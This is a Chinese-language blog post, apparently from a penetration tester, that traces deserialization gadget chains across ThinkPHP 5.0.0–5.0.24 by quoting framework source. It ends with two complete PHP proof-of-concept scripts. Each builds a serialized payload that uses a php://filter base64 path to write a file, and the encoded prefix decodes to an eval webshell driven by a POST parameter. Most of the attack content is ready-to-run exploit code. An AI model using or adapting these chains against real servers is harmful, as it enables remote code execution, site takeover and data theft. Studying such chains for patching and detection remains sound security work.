在一次渗透测试中遇到了一个基于Thinkphp5.0.10的站,站点具有非常多的disabled function(phpinfo和scandir等常见函数也在里面),最终想到的办法是采用反序列化的方法写shell。在网上找了一圈的反序列化的链子没有一个能用的,向上向下都不兼容。这些反序列化链后面写文件的部分都是相同的,但是前面对think\console\Output类中的__call方法的触发方法不尽相同。最终发现,可以将整个thinkphp5.0系列分为两部分,这两个部分具有不同的可通用的反序列化链。一部分是从5.0.0-5.0.3,另一部分则是5.0.4-5.0.24。
本次实验环境Windows+php7.3.4+apache2.4.39
1. thinkphp5.0.0-thinkphp5.0.3
下面以版本ThinkPHP V5.0.3 为例进行分析。
在thinkphp的反序列化链中,大部分网上的触发方法都是从think\process\pipes\Windows的__destruct方法出发
public function __destruct()
{
$this->close();
$this->removeFiles();
}
public function close()
{
parent::close();
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
在通过file_exists触发think\Model的__toString魔术方法,然后通过__toString方法调用的toJson,toJson调用的toArray,在toArray中触发think\console\Output中的__call方法。
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
但是问题来了
下面是thinkphp5.0.03版本的toArray
public function toArray()
{
$item = [];
//过滤属性
if (!empty($this->visible)) {
$data = array_intersect_key($this->data, array_flip($this->visible));
} elseif (!empty($this->hidden)) {
$data = array_diff_key($this->data, array_flip($this->hidden));
} else {
$data = $this->data;
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof Collection) {
// 关联模型对象
$item[$key] = $val->toArray();
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $value->toArray();
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $name) {
$item[$name] = $this->getAttr($name);
}
}
return !empty($item) ? $item : [];
}
与之相比,是thinkphp5.0.24的toArray(其实中间的几个版本的toArray也有差别,后面也会提到)
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
可以发现,在5.0.3版本中并没有用来调用任意Model中函数的下列代码
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
//......
}
而且用得都是写死的函数,不存在触发其它类魔术方法的条件。只能从头开始换一条__destruct路线进行分析。
一共还有三个的备选项
- thinkphp/library/think/process/pipes/Unix.php
public function __destruct() { $this->close(); } public function close() { foreach ($this->pipes as $pipe) { fclose($pipe); } $this->pipes = []; }
不具备可利用性,pass
- thinkphp/library/think/db/Connection.php
public function __destruct() { // 释放查询 if ($this->PDOStatement) { $this->free(); } // 关闭连接 $this->close(); } } public function free() { $this->PDOStatement = null; } public function close() { $this->linkID = null; }
同样不具备可利用性。
- thinkphp/library/think/Process.php
public function __destruct() { $this->stop(); } public function stop() { if ($this->isRunning()) { if ('\\' === DS && !$this->isSigchildEnabled()) { exec(sprintf('taskkill /F /T /PID %d 2>&1', $this->getPid()), $output, $exitCode); if ($exitCode > 0) { throw new \RuntimeException('Unable to kill the process'); } } else { $pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid {$this->getPid()}`); foreach ($pids as $pid) { if (is_numeric($pid)) { posix_kill($pid, 9); } } } } $this->updateStatus(false); if ($this->processInformation['running']) { $this->close(); } return $this->exitcode; } public function isRunning() { if (self::STATUS_STARTED !== $this->status) { return false; } $this->updateStatus(false); return $this->processInformation['running']; } protected function updateStatus($blocking) { if (self::STATUS_STARTED !== $this->status) { return; } $this->processInformation = proc_get_status($this->process); $this->captureExitCode(); $this->readPipes($blocking, '\\' === DS ? !$this->processInformation['running'] : true); if (!$this->processInformation['running']) { $this->close(); } } protected function isSigchildEnabled() { if (null !== self::$sigchild) { return self::$sigchild; } if (!function_exists('phpinfo')) { return self::$sigchild = false; } ob_start(); phpinfo(INFO_GENERAL); return self::$sigchild = false !== strpos(ob_get_clean(), '--enable-sigchild'); } public function getPid() { if ($this->isSigchildEnabled()) { throw new \RuntimeException('This PHP has been compiled with --enable-sigchild. The process identifier can not be retrieved.'); } $this->updateStatus(false); return $this->isRunning() ? $this->processInformation['pid'] : null; } private function close() { $this->processPipes->close(); if (is_resource($this->process)) { $exitcode = proc_close($this->process); } else { $exitcode = -1; } $this->exitcode = -1 !== $exitcode ? $exitcode : (null !== $this->exitcode ? $this->exitcode : -1); $this->status = self::STATUS_TERMINATED; if (-1 === $this->exitcode && null !== $this->fallbackExitcode) { $this->exitcode = $this->fallbackExitcode; } elseif (-1 === $this->exitcode && $this->processInformation['signaled'] && 0 < $this->processInformation['termsig'] ) { $this->exitcode = 128 + $this->processInformation['termsig']; } return $this->exitcode; }
注意到,只要是有了proc_get_status的地方就会触发app error,因为我们无法序列化resource对象(我个人测试是这样,如果大佬有方法还请赐教)。这样一看上面除了close方法,就没啥利用点了。而且close方法的第一行就可以触发任意类的__call魔术方法或者任意类的close方法。
看下close方法
发现都没啥利用价值。不是没有利用的地方,就是和这里的close触发点没有区别。
直奔think\console\Output类中的__call魔术方法,企图一步到位。这时候遇到的只能是app error,因为其中的block方法需要2个参数。public function __call($method, $args) { if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); } if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } } protected function block($style, $message) { $this->writeln("<{$style}>{$message}</$style>"); } public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); }
那么这边就需要找另一个类的__call魔术方法做跳板,最终发现think\model\Relation是所有__call中利用最方便的(其它的__call我没找到能无条件利用的)
public function __call($method, $args) { if ($this->query) { switch ($this->type) { case self::HAS_MANY: if (isset($this->where)) { $this->query->where($this->where); } elseif (isset($this->parent->{$this->localKey})) { // 关联查询带入关联条件 $this->query->where($this->foreignKey, $this->parent->{$this->localKey}); } break; case self::HAS_MANY_THROUGH: $through = $this->middle; $model = $this->model; $alias = Loader::parseName(basename(str_replace('\\', '/', $model))); $throughTable = $through::getTable(); $pk = (new $this->model)->getPk(); $throughKey = $this->throughKey; $modelTable = $this->parent->getTable(); $this->query->field($alias . '.*')->alias($alias) ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey) ->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey) ->where($throughTable . '.' . $this->foreignKey, $this->parent->{$this->localKey}); break; case self::BELONGS_TO_MANY: // TODO } $result = call_user_func_array([$this->query, $method], $args); if ($result instanceof \think\db\Query) { $this->option = $result->getOptions(); return $this; } else { $this->option = []; return $result; } } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } }
不用管其它的,单单是这句,我们就已经有了良好的跳板了
$this->query->where($this->where);
$this->query和$this->where均可控,这时候再触发Output中的__call就不会有app error了。
继续跟进,对Output中最后触发的write方法进行查看public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) { $this->handle->write($messages, $newline, $type); }
通过这个方法,我们可以调用任意类的write(这边也不用考虑触发__call魔术方法了)。生成的文件要内容可控,且文件的后缀是php。
在众多的write方法中,最后认为只有think\session\driver\Memcache和think\session\driver\Memcached利用价值较大。//thinkphp/library/think/session/driver/Memcached.php public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']); }
//thinkphp/library/think/session/driver/Memcache.php public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']); }
继续寻找,含有set的方法的类,到这边,网上已经有很多分析过的文章了,这边就简单写一下路径,不细说了,为了在Windows下也能稳定使用,这里先用think\cache\driver\Memcached做过渡,然后将其中的$this->handler赋值为think\cache\driver\File类的实例。
//think\cache\Driver protected function setTagItem($name) { if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = $this->get($key); $value .= ',' . $name; } else { $value = $name; } $this->set($key, $value); } } protected function getCacheKey($name) { return $this->options['prefix'] . $name; }
//think\cache\driver\Memcached public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($this->tag && !$this->has($name)) { $first = true; } $key = $this->getCacheKey($name); $expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire; if ($this->handler->set($key, $value, $expire)) { isset($first) && $this->setTagItem($key); return true; } return false; }
//think\cache\driver\File public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } $filename = $this->getCacheKey($name); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>"; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } } protected function getCacheKey($name) { $name = md5($name); if ($this->options['cache_subdir']) { // 使用子目录 $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; $dir = dirname($filename); if (!is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; }
通过构造base64字符串,再进过伪协议解码后成功写入文件。具体的分析可以参考https://xz.aliyun.com/t/7310。
结果展示:
poc
<?php
namespace think;
class Process
{
private $processPipes;
private $status;
private $processInformation;
public function __construct(){
$this->processInformation['running']=true;
$this->status=3;
$this->processPipes=new \think\model\Relation();
}
}
namespace think\model;
use think\console\Output;
class Relation
{
protected $query;
const HAS_ONE = 1;
const HAS_MANY = 2;
const HAS_MANY_THROUGH = 5;
const BELONGS_TO = 3;
const BELONGS_TO_MANY = 4;
protected $type=2;
protected $where=1;
public function __construct()
{
$this->query=new Output();
}
}
namespace think\console;
class Output{
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
'getTable',
'where'
];
private $handle;
public function __construct()
{
$this->handle = (new \think\session\driver\Memcache);
}
}
namespace think\session\driver;
class Memcache
{
protected $handler;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
use think\Process;
class Memcached
{
protected $tag;
protected $options;
protected $handler;
public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
];
$this->handler = (new File);
}
}
class File
{
protected $tag;
protected $options;
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}
use think;
$a=new Process();
echo urlencode(serialize($a));
2. thinkphp5.0.4-thinkphp5.0.24
首先要注意的一个变化是以往的利用的Relation类变为了抽象了,无法直接实例化。所以前面的链子到这边也就断了。
下面的审计以thinkphp5.0.10为例,因为这个版本很奇葩,别的版本的poc在它这一直行不通,向上也不兼容,向下也不兼容。如果能在该版本下使用poc大概率是能覆盖thinkphp5.0.4-thinkphp5.0.24的。
还是先看最老的套路能不能行的通,走Window下的__destruct触发Model类的__toString。看下该版本的Model类的toArray方法(前面的过程没有任何变化)
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$item[$name] = $this->getAttr($name);
}
}
}
return !empty($item) ? $item : [];
}
public function getAttr($name)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
// 检测属性获取器
$method = 'get' . Loader::parseName($name, 1) . 'Attr';
if (method_exists($this, $method)) {
$value = $this->$method($value, $this->data, $this->relation);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif (in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])
) {
$value = $this->formatDateTime(strtotime($value), $this->dateFormat);
} else {
$value = $this->formatDateTime($value, $this->dateFormat);
}
} elseif ($notFound) {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
// 不存在该字段 获取关联数据
$value = $this->getRelationData($modelRelation);
// 保存关联对象值
$this->relation[$name] = $value;
} else {
throw new InvalidArgumentException('property not exists:' . $this->class . '->' . $name);
}
}
return $value;
}
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
} else {
throw new InvalidArgumentException('property not exists:' . $this->class . '->' . $name);
}
}
仔细观察发现,如果我们能够正常进入if (!empty($this->append)){…}分支,通过getData,我们可以实例化其它类,从而调用其它类具有的append方法或者__call魔术方法。而且可控变量很多,$this->append不为空,将需要实例化的类放入$this->data或者$this->relation,跳过getAttr方法中所有可能遇到的类型转换即可。最终将$this->append数组中的对应值修改成数组即可进入下列语句:
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
在审计到这时,似乎已经可以触发前面所提到的think\console\Output类的__call了,而且也具有参数。但是在实际过程中,又走到了一生之敌的app error。希望的参数是string类型,给的却是数组。那么如果__call方法不能用的话,是不是可以看看有没有其它类中的append方法,可以做跳板呢。
具有append方法的类并不多,只有两个,一个是Model一个是Collection,跟进查看
//Model
public function append($append = [], $override = false)
{
$this->append = $override ? $append : array_merge($this->append, $append);
return $this;
}
不存在利用点
public function append($append = [], $override = false)
{
$this->each(function ($model) use ($append, $override) {
/** @var Model $model */
$model->append($append, $override);
});
return $this;
}
这边的参数仍然会是数组,依旧不能直接触发think\console\Output类的__call。同样查看其它类的__call也存在类似问题,所以这条反序列化的链子似乎已经走到死胡同了。但是在已经成为了抽象类的Relation却带来了新的利用方式,但是现在的Relation的__call方法和之前也不大一样了。
abstract protected function baseQuery();
public function __call($method, $args)
{
if ($this->query) {
// 执行基础查询
$this->baseQuery();
$result = call_user_func_array([$this->query, $method], $args);
if ($result instanceof Query) {
return $this;
} else {
$this->baseQuery = false;
return $result;
}
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
}
按照之前的分析来看,下面的call_user_func_array是无法有效利用的,所以如果要想找跳板的话,必然是利用了baseQuery方法。
查看后发现触发条件最简单的是think\model\relation\HasMany类中的baseQuery方法。
protected function baseQuery()
{
if (empty($this->baseQuery)) {
if (isset($this->parent->{$this->localKey})) {
// 关联查询带入关联条件
$this->query->where($this->foreignKey, $this->parent->{$this->localKey});
}
$this->baseQuery = true;
}
}
具有可控参数和触发__call的条件。后面就算将$this->query赋值为think\console\Output类实例,然后和前面低版本的一样触发就行。但是这个还存在一个问题。因为前面触发的toArray的if (!empty($this->append)){…}分支是在thinkphp5.0.05(包括5.0.05)之后才存在的。也就是说这条链子在thinkphp5.0.04版本是行不通的。这时候我们想起了之前对于thinkphp5.0.03版本的反序列化链的挖掘。
和前面低版本的链子一样,直接触发__call方法,但是此时的Relation已经是抽象类了,无法作为跳板利用。结合之前的分析,这边我们采用think\model\relation\HasMany作为跳板进行构造。和低版本相比,除了中间利用了Relation类的子类作为跳板之外,其它地方没有任何区别。
poc
namespace think;
use think\model\relation\HasMany;
class Process
{
private $processPipes;
private $status;
private $processInformation;
public function __construct(){
$this->processInformation['running']=true;
$this->status=3;
$this->processPipes=new HasMany();
}
}
namespace think;
class Model{
}
namespace think\model;
use think\Model;
class Merge extends Model{
public $a='1';
public function __construct()
{
}
}
namespace think\model\relation;
use think\console\Output;
use think\db\Query;
use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
//protected $baseQuery=true;
protected $parent;
protected $localKey='a';
protected $foreignKey='a';
protected $pivot;
public function __construct(){
$this->query=new Output();
$this->parent= new Merge();
}
}
namespace think\model;
class Relation
{}
namespace think\db;
class Query{}
namespace think\console;
class Output{
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
'getTable',
'where'
];
private $handle;
public function __construct()
{
$this->handle = (new \think\session\driver\Memcache);
}
}
namespace think\session\driver;
class Memcache
{
protected $handler;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class Memcached
{
protected $tag;
protected $options;
protected $handler;
public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
];
$this->handler = (new File);
}
}
class File
{
protected $tag;
protected $options;
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}
echo urlencode(serialize(new \think\Process()));
效果如下:
3. 总结
如果是从think\process\pipes\Windows的__destruct方法出发,则必须要关注think\Model的toArray方法是否存在利用点,且toArray方法受版本影响较大,经常改变。如果think\Process的__destruct方法出发则需要关注Relation类是否已经变为抽象类,该变化是从thinkphp5.0.04版本开始。之后利用就再无其它变化影响。网上的大部分高版本链子都是从think\process\pipes\Windows的__destruct方法出发,所以在遇到低版本时,会出现错误。判断这类高版本链子在不同版本下是否可用的关键就在于是否在toArray中存在触发点。网上已有的高版本链子我也就不加赘述,拾人牙慧了。